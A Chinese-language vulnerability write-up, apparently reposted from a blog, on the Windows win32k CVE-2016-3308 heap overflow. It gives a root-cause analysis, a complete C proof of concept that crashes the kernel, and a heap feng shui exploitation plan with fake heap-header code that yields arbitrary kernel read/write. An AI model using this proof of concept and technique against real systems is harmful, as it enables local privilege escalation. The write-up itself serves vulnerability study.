CVE-2016-3308

CVE-2016-3308

漏洞成因

这个漏洞位于win32k!xxxInsertMenuItem,其中会调用MNLookUpItemtagMenu->rgItem进行查找,我们先看一下MNLookUpItem

tagITEM *__stdcall MNLookUpItem(
    tagMENU *pMenu, 
    unsigned int uItem, 
    BOOL byPosition, 
    _DWORD *pMenuItem);

byPosition = true时,uItem此时代表tagItem在当前菜单(tagMenu)的位置,如果byPosition = false时,uItem则代表tagItem->uId,表示按位置和按标识符这两种查找方法:

  1. byPosition = true

    • 对当前tagMenu->rgItems进行遍历
      if ( byPosition )
      {
        if ( uItem < CurrentItem )                  // 表示在已经存在的Menuitem内
        {
          v8 = &pMenu->rgItems[uItem];
          if ( pMenuItem )
            *pMenuItem = pMenu;                     // MenuItem位于哪个菜单
          return v8;
        }
        return 0;
      }
    
  2. byPosition = false

    • 因为此时的uItem代表的是目标菜单项的标识符tagItem->uId,而不是当前菜单中的位置,因此在遍历当前菜单的tagItem时还会检查其tagItem->spSubMenu是否不为零,也就是说这个菜单项指向了一个弹出菜单,MNLookUpItem就会以这个弹出菜单作为第一个参数递归调用MNLookUpItem,直到找到tagItem->uId匹配的项或者没有找到返回零

win32k!xxxInsertMenuItem中出现了两次MNLookUpItem的调用:

  • 第一次调用MNLookUpItem进行查找uItem所代表的tagItem,更新当前菜单为目标菜单项所属菜单

  • 如果我们要插入的当前菜单tagMenu->cItem = tagMenu->cAlloced时,也就是当前的空间已经存满的时候,这时候就会调用DesktopAlloctagItem重新申请堆内存,然后把之前的内容复制过来。这时候由于是重新申请的内存,所以地址已经改变,第一次通过MNLookUpItem查询到的目标tagItem地址也就发生了改变,因此就会第二次调用MNLookUpItem 重新查找目标tagItem地址

在查找到待插入的位置后,其通过memmove将待插入位置后面所有的元素后移了一个单位:

  • 假设数组{1,2,3,4,5,6,7}里每一个成员都代表一个tagItem,我们现在要插入的位置为4,那么经过memmove后数组就会变为{1,2,3,4,4,5,6,7},通过计算当前菜单项的总长度减去待插入位置前面的所有元素大小来得到我们要复制的长度,这里插入的位置为4,总长度为7,那么我们要复制的长度为7 - 3 = 4

  • 这个算法乍一看没有什么问题,但由于第二次通过MNLookUpItem进行查找时,微软默认查找到的菜单项依旧属于第一次调用MNLookUpItem后的菜单,因此没有对当前菜单进行更新(根据查找到的tagItem->spSubMenu更新)。

  • 如果在第一次MNLookUpItem查找之后,第二次MNLookUpItem查找之前,uItem被修改(win32k!xxxInsertMenuItem中存在一条代码路径可以将uItem修改为1),那么在第二次MNLookUpItem查找的将是tagItem->uId =1的菜单项,如果我们构造这种情况:

  • (配合下图)在调用win32k!xxxInsertMenuItem时假如我们是传入的参数uItem = 0x123,也就是准备插入到查看的后面,因此在第一次MNLookUpItem之后当前菜单更新为tagMenu1(主菜单),如果在第二次MNLookUpItem 前我们执行到了将uItem修改为1的代码路径,那么第二次MNLookUpItem查找之后返回的就是文件夹这个菜单项,这个菜单项属于tagMenu2(spSubMenu),如上所述,由于第二次查找后微软没有考虑到查到的目标菜单项会发生改变而没有进行当前的菜单更新,所以在memmove时采用了文件夹查看地址相减来计算长度,但由于这两个菜单项分别位于主菜单和子菜单两个不同的桌面堆,因此计算出来的长度在逻辑上没有意义,并且可能发生堆溢出。

··

如何触发

在IDA中分析代码可以发现,当我们插入满足以下条件时,uItem就会被设置为1

  • 当前菜单为非MNF_POPUP
  • byPosition = false并且uItem为当前菜单的第一项
  • 且菜单第一项的hmbp = HBMMENU_SYSTEM

如果此时菜单项已经有了8个,我们再添加一个时,就会触发重新的堆申请,每次申请以8个tagItem大小为单位,因此就会触发第二次的MNLookUpItem调用,由于此时uItem = 1,如果uID = 1的菜单项位于另外一个子菜单,就会导致在memmove计算长度时出现错误导致堆溢出。

POC

如果只需要触发蓝屏,可以以最简单的方式来构造菜单:

  • 在主菜单中插入8项item,其中一项具有subMenu
  • 在这个subMenu中有一项uID = 1tagItem
  • 向主菜单插入第九项并且满足上面使得uItem =1的条件,并且由于之前主菜单已经存在了8项从而触发第二次MNLookUpItem,导致第二次MNLookUpItem返回的tagItem属于另外一个菜单,memmove长度计算错误,造成堆溢出。
#include <Windows.h>
#include "struct.h"


HMENU add_submenu_item(HMENU hMenu, UINT wID)
{
	HMENU hSubMenu = CreatePopupMenu();

	MENUITEMINFOW mi_info;
	mi_info.cbSize = sizeof(MENUITEMINFOW);
	mi_info.fMask = MIIM_SUBMENU | MIIM_ID | MIIM_BITMAP;
	mi_info.fState = MFS_ENABLED;
	mi_info.hSubMenu = hSubMenu;
	mi_info.wID = wID;
	mi_info.dwTypeData = NULL;
	mi_info.hbmpItem = HBMMENU_SYSTEM;  // (required to set nPosition to 1 in trigger)

	BOOL bRet = NtUserThunkedMenuItemInfo(
		hMenu,      //# HMENU hMenu
		0,          //# UINT  nPosition
		FALSE,      //# BOOL  fByPosition
		TRUE,       //# BOOL  fInsert
		&mi_info,   //# LPMENUITEMINFOW lpmii
		NULL       //# PUNICODE_STRING pstrItem
	);
	if (bRet)
	{
		return hSubMenu;
	}
	return NULL;
}

BOOL add_menu_item(HMENU hMenu, UINT wID)
{
	MENUITEMINFOW mi_info;
	mi_info.cbSize = sizeof(MENUITEMINFOW);
	mi_info.fMask = MIIM_ID;
	mi_info.fType = MFT_STRING;
	mi_info.fState = MFS_ENABLED;
	mi_info.wID = wID;

	return NtUserThunkedMenuItemInfo(
		hMenu,      //# HMENU hMenu
		-1,         //# UINT  nPosition
		TRUE,       //# BOOL  fByPosition
		TRUE,       //# BOOL  fInsert
		&mi_info,   //# LPMENUITEMINFOW lpmii
		NULL       //# PUNICODE_STRING pstrItem
	);
};

VOID fill_menu(HMENU hMenu, UINT Base_wID, UINT nCount)
{
	for (UINT i = 0; i < nCount; i++)
	{
		add_menu_item(hMenu, Base_wID + i);
	}
}


int main()
{
	/* 在主菜单中插入8项item,其中一项具有subMenu */
	auto hMenu = CreateMenu();
	auto hSubMenu = add_submenu_item(hMenu, 0x101);
	fill_menu(hMenu, 0x102, 7);

	/* 在这个subMenu中有一项uID = 1的tagItem */
	add_menu_item(hSubMenu, 0x1);


	/* 向主菜单插入第九项并且满足上面使得uItem =1的条件,并且触发第二次MNLookUpItem  */
	{
		MENUITEMINFOW mi_info;
		mi_info.cbSize = sizeof(MENUITEMINFOW);
		mi_info.fMask = MIIM_ID;
		mi_info.fType = MFT_STRING;
		mi_info.fState = MFS_ENABLED;
		mi_info.wID = 0x111;

		return NtUserThunkedMenuItemInfo(
			hMenu,         //# HMENU hMenu
			0x101,         //# UINT  nPosition
			FALSE,         //# BOOL  fByPosition
			TRUE,          //# BOOL  fInsert
			&mi_info,      //# LPMENUITEMINFOW lpmii
			NULL           //# PUNICODE_STRING pstrItem
		);
	}


	return 0;
}

利用

利用方法是对此文的学习与理解

https://github.com/55-AA/CVE-2016-3308

前置知识

通过阅读``NCC group 《Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit》`,大概总结出一下几点:

  • 基于桌面堆的大多数申请都依赖与窗口对象,也就是通过tagWND来管理

    • 如果我们需要创建特定大小的结构来填充堆中小的空洞,首先就先需要创建一个窗口进行交互
    • 一些我们通过窗口来申请的空间并不能单独释放,也就是说这些结构会在调用DestroyWindow时进行释放
  • tagPROPLIST结构提供足够小的堆申请用来填满任意小的堆空洞

  • feng shui 布局验证

    • 内核桌面堆以只读的方式映射在用户空间,因此我们可以通过读取相应的地址来验证我们的布局是否成功,TEB中包含一个未文档化的结构win32ClientInfo,其中ulClientDelta成员表示桌面堆在内核映射和用户映射的偏移,再通过user32!gSharedInfo泄露窗口对象的内核地址,就可以得到窗口对象在用户空间的映射地址
    typedef struct _CLIENTINFO { 
        ULONG_PTR CI_flags; 
        ULONG_PTR cSpins; 
        DWORD dwExpWinVer; 
        DWORD dwCompatFlags; 
        DWORD dwCompatFlags2; 
        DWORD dwTIFlags; 
        PDESKTOPINFO pDeskInfo; 
        ULONG_PTR ulClientDelta; // incomplete. see reactos 
    } CLIENTINFO, *PCLIENTINFO;
    

大致思路

  • 创建大量没有标题的窗口来填充堆空洞
  • 先创建WND_0 ~ WND_5,后面伪造堆头时再使用
  • 在子菜单添加一个ID = 1和其他ID 0x2001~2007tagItem
  • 在子菜单中添加第九个tagItem,这时会触发堆的重新申请,然后设置WND_5->text0x6C *8 = 0x360大小来重用上面释放的8个菜单项的堆空间,并在用户空间检查桌面堆确保两个地址相等
  • 设置WND_1->text0x70大小用来伪造堆头,同样要验证此时为WND_1->text分配的堆地址是紧接着上面SubMenuItems分配的,伪造堆头的位置时要注意,因为win32k!xxxInsertMenuItem的插入逻辑是在插入位置留一个tagItem大小的位置,后面的tagItem顺序向后移动,由于我们申请的大小为0x70,向后移动距离为0x6C,所以我们需要在WND_1->text4字节(0x70 - 0x6C = 4)之后伪造堆头
	#define CORRUPTION_BLOCK_SIZE 0x8e8
	#define HEAP_GRANULARITY_SHIFT 3

	memset(Data, 0, sizeof(Data));
	PHEAP_ENTRY32 pHeapEntry = (PHEAP_ENTRY32)(Data + 4);
	pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Size = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Flags = 1;
	pHeapEntry->UnusedBytes = 8;
  • 设置WND_2->text0x70大小,同样验证布局是否紧接着WND_1->text,当堆溢出发生时,上面伪造的堆头就会覆盖WND_2->text的堆头
  • 设置WND_0->text0x6C0大小,为主菜单item*16占位
  • 创建一个Primitive-WND窗口和一个自动创建的tagPROPLIST
  • 创建一个Corrupt-WND窗口和一个自动创建的tagPROPLIST
  • 设置WND_3->text0x10大小,因为上面伪造的_heap_entry->size = 8e8,刚好下一个堆块为WND_3->text的位置,因此我们需要在WND_3->text中伪造一个堆头使得previousSize = 8e8 >>3,从而在释放上面伪造的堆时绕过检查(以上所有操作都是假定所有分配都是连续的
	#define CORRUPTION_BLOCK_SIZE 0x8e8
	#define HEAP_GRANULARITY_SHIFT 3

	memset(Data, 0, sizeof(Data));
	pHeapEntry = (PHEAP_ENTRY32)Data;
	pHeapEntry->PreviousSize = CORRUPTION_BLOCK_SIZE >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Size = 0x10 >> HEAP_GRANULARITY_SHIFT;
	pHeapEntry->Flags = 1;
	pHeapEntry->UnusedBytes = 8;
  • 设置WND_0->text0x700大小,此时多了个0x6c0大小的空洞,紧接着为主菜单添加第九个菜单项,在堆申请时需要的大小刚好等于0x6c0,因此此时主菜单的rgItems位置也就确定了,memmove的大小也可以计算出来了,同时触发漏洞,memmove导致从SubMenuItems[0]后面开始全部后移0x6C大小,因此我们在WND_1->text伪造的堆头覆盖了WND_2->text的堆头

  • 紧接着我们设置WND_2->text0x80大小,因此之前的堆被释放,但这是个被伪造的堆,其被修改后的堆大小包含了整个Primitive-WNDCorrupt-WND窗口对象,因此我们只需要将Corrupt-WND->text设置为0x8e0大小来重用这个伪造的堆块,就可以通过修改位于堆块中的Primitive-WND->text的地址配合InternalGetWindowTextNtUserDefSetText来进行任意地址读写

附上 https://github.com/55-AA/CVE-2016-3308 中的堆 feng shui 布局图

利用效果

原文地址:https://www.cnblogs.com/DreamoneOnly/p/12844299.html